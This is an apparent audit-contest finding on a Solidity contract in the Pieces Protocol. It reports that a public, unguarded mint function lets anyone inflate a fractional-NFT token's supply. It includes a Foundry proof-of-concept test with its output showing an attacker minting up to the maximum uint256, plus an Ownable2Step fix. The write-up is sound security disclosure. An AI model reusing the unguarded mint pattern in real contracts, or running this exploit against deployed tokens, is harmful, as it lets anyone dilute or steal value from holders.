Pieces Protocol

First Flight #32
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Unrestricted Token Minting in ERC20ToGenerateNftFraccion Allows Supply Manipulation

Summary

The ERC20ToGenerateNftFraccion contract has a public mint function without access controls, allowing any user to mint arbitrary amounts of tokens. This is particularly severe as this token represents fractional NFT ownership.

Vulnerability Details

The vulnerability exists in the ERC20ToGenerateNftFraccion contract where the mint function lacks access control:

function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}

The mint function is declared as public without any access modifiers like onlyOwner, allowing any external account to call it and mint tokens at will.

Impact

Critical. This vulnerability has several severe implications:

  1. Any user can mint unlimited tokens to any address

  2. Token supply can be manipulated at will

  3. The entire NFT fractionalization system can be compromised since token amounts no longer accurately represent NFT ownership shares

  4. Economic attacks possible through unlimited minting

POC

  • Copy this tests in path test/unit/ERC20ToGenerateNftFractionTest.t.sol

Two test cases demonstrate the vulnerability:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import {Test, console} from "forge-std/Test.sol";
import {ERC20ToGenerateNftFraccion} from "../../src/token/ERC20ToGenerateNftFraccion.sol";
contract ERC20ToGenerateNftFractionTest is Test {
ERC20ToGenerateNftFraccion public token;
address public constant ATTACKER = address(0x1);
address public constant USER = address(0x2);
uint256 public constant MINT_AMOUNT = 1000e18;
function setUp() public {
token = new ERC20ToGenerateNftFraccion("Test Token", "TEST");
}
function test_AccessControl_AnyoneCanMint() public {
console.log("=== Demonstrating Unrestricted Minting Vulnerability ===");
console.log("Initial attacker balance:", token.balanceOf(ATTACKER));
console.log("Initial user balance:", token.balanceOf(USER));
vm.startPrank(ATTACKER);
console.log("\nAttacker address:", ATTACKER);
console.log("Attacker attempting to mint", MINT_AMOUNT, "tokens...");
// Attacker can mint tokens to themselves
token.mint(ATTACKER, MINT_AMOUNT);
console.log("Success! Attacker minted tokens to themselves");
console.log("New attacker balance:", token.balanceOf(ATTACKER));
// Attacker can mint tokens to other addresses
console.log("\nAttacker now minting tokens to user address:", USER);
token.mint(USER, MINT_AMOUNT);
console.log("Success! Attacker minted tokens to another user");
console.log("New user balance:", token.balanceOf(USER));
vm.stopPrank();
console.log("\nVulnerability demonstrated: Anyone can mint unlimited tokens!");
}
function test_VariableShadowing_NameAndSymbol() public {
// Test that despite shadowing, name and symbol are set correctly
assertEq(token.name(), "Test Token");
assertEq(token.symbol(), "TEST");
// Create another token with different parameters to ensure consistency
ERC20ToGenerateNftFraccion newToken = new ERC20ToGenerateNftFraccion("Another Token", "AT");
assertEq(newToken.name(), "Another Token");
assertEq(newToken.symbol(), "AT");
}
function test_AccessControl_MintingCanBreakInvariants() public {
console.log("=== Demonstrating Supply Manipulation Vulnerability ===");
uint256 initialSupply = token.totalSupply();
console.log("Initial total supply:", initialSupply);
// Multiple parties can mint simultaneously
vm.prank(ATTACKER);
token.mint(ATTACKER, MINT_AMOUNT);
console.log("\nAttacker minted:", MINT_AMOUNT);
vm.prank(USER);
token.mint(USER, MINT_AMOUNT);
console.log("User minted:", MINT_AMOUNT);
console.log("Current total supply:", token.totalSupply());
// Calculate remaining supply before max
uint256 remainingSupply = type(uint256).max - token.totalSupply();
console.log("\nRemaining supply before max:", remainingSupply);
// Show that anyone can mint unlimited amounts
console.log("\nAttacker attempting to mint maximum possible tokens...");
vm.prank(ATTACKER);
token.mint(ATTACKER, remainingSupply);
console.log("Success! Supply is now at maximum");
console.log("Final total supply:", token.totalSupply());
console.log("Attacker's final balance:", token.balanceOf(ATTACKER));
console.log("\nVulnerability demonstrated: Supply can be maxed out by any user!");
}
}

Output shows successful unauthorized minting:

=== Demonstrating Unrestricted Minting Vulnerability ===
Initial attacker balance: 0
Initial user balance: 0
Attacker address: 0x0000000000000000000000000000000000000001
Attacker attempting to mint 1000000000000000000000 tokens...
Success! Attacker minted tokens to themselves
New attacker balance: 1000000000000000000000
Attacker now minting tokens to user address: 0x0000000000000000000000000000000000000002
Success! Attacker minted tokens to another user
New user balance: 1000000000000000000000

Output demonstrates complete supply manipulation:

=== Demonstrating Supply Manipulation Vulnerability ===
Initial total supply: 0
Attacker minted: 1000000000000000000000
User minted: 1000000000000000000000
Current total supply: 2000000000000000000000
Final total supply: 115792089237316195423570985008687907853269984665640564039457584007913129639935
Attacker's final balance: 115792089237316195423570985008687907853269984665640564038457584007913129639935

The test outputs clearly show:

  1. An attacker starting with 0 balance can mint arbitrary amounts

  2. Tokens can be minted to any address

  3. The total supply can be manipulated to reach maximum uint256 value

  4. No transactions revert, indicating complete lack of access controls

Tools Used

Manual review and foundry

Recommendations

  1. Implement two-step ownership transfer access control using OpenZeppelin's Ownable2Step:

import "@openzeppelin/contracts/access/Ownable2Step.sol";
contract ERC20ToGenerateNftFraccion is ERC20, ERC20Burnable, Ownable2Step {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address _to, uint256 _amount) public onlyOwner {
require(_to != address(0), "Cannot mint to zero address");
_mint(_to, _amount);
}
}
Updates

Lead Judging Commences

juan_pedro_ventu Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of token access control chekcs

Any person can mint the ERC20 token generated in representation of the NFT

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.